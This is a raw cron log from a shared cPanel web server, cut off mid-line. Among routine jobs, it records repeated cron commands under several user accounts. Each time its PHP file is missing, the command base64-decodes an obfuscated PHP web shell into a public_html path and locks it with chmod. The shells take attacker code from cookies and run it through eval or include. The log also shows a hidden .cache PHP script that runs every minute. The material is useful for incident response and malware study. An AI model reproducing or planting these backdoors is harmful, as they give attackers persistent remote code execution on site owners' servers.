Jun  7 13:22:01 medusa CROND[19253]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 13:22:01 medusa CROND[19257]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 13:22:01 medusa CROND[19256]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:22:01 medusa CROND[19258]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:22:01 medusa CROND[19264]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:22:01 medusa CROND[19259]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:23:01 medusa CROND[20752]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:23:01 medusa CROND[20753]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:23:01 medusa CROND[20754]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:23:01 medusa CROND[20755]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:23:01 medusa CROND[20756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:23:01 medusa CROND[20761]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:23:01 medusa CROND[20762]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:23:01 medusa CROND[20760]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:23:01 medusa CROND[20763]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 13:23:01 medusa CROND[20764]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:23:01 medusa CROND[20765]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:23:01 medusa CROND[20767]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:24:01 medusa CROND[22506]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:24:02 medusa CROND[22555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:24:02 medusa CROND[22558]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:24:02 medusa CROND[22559]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:24:02 medusa CROND[22560]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:24:02 medusa CROND[22561]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:24:02 medusa CROND[22562]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:24:02 medusa CROND[22563]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:24:02 medusa CROND[22565]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:24:02 medusa CROND[22564]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 13:24:02 medusa CROND[22576]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:24:02 medusa CROND[22575]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 13:24:02 medusa CROND[22580]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6Om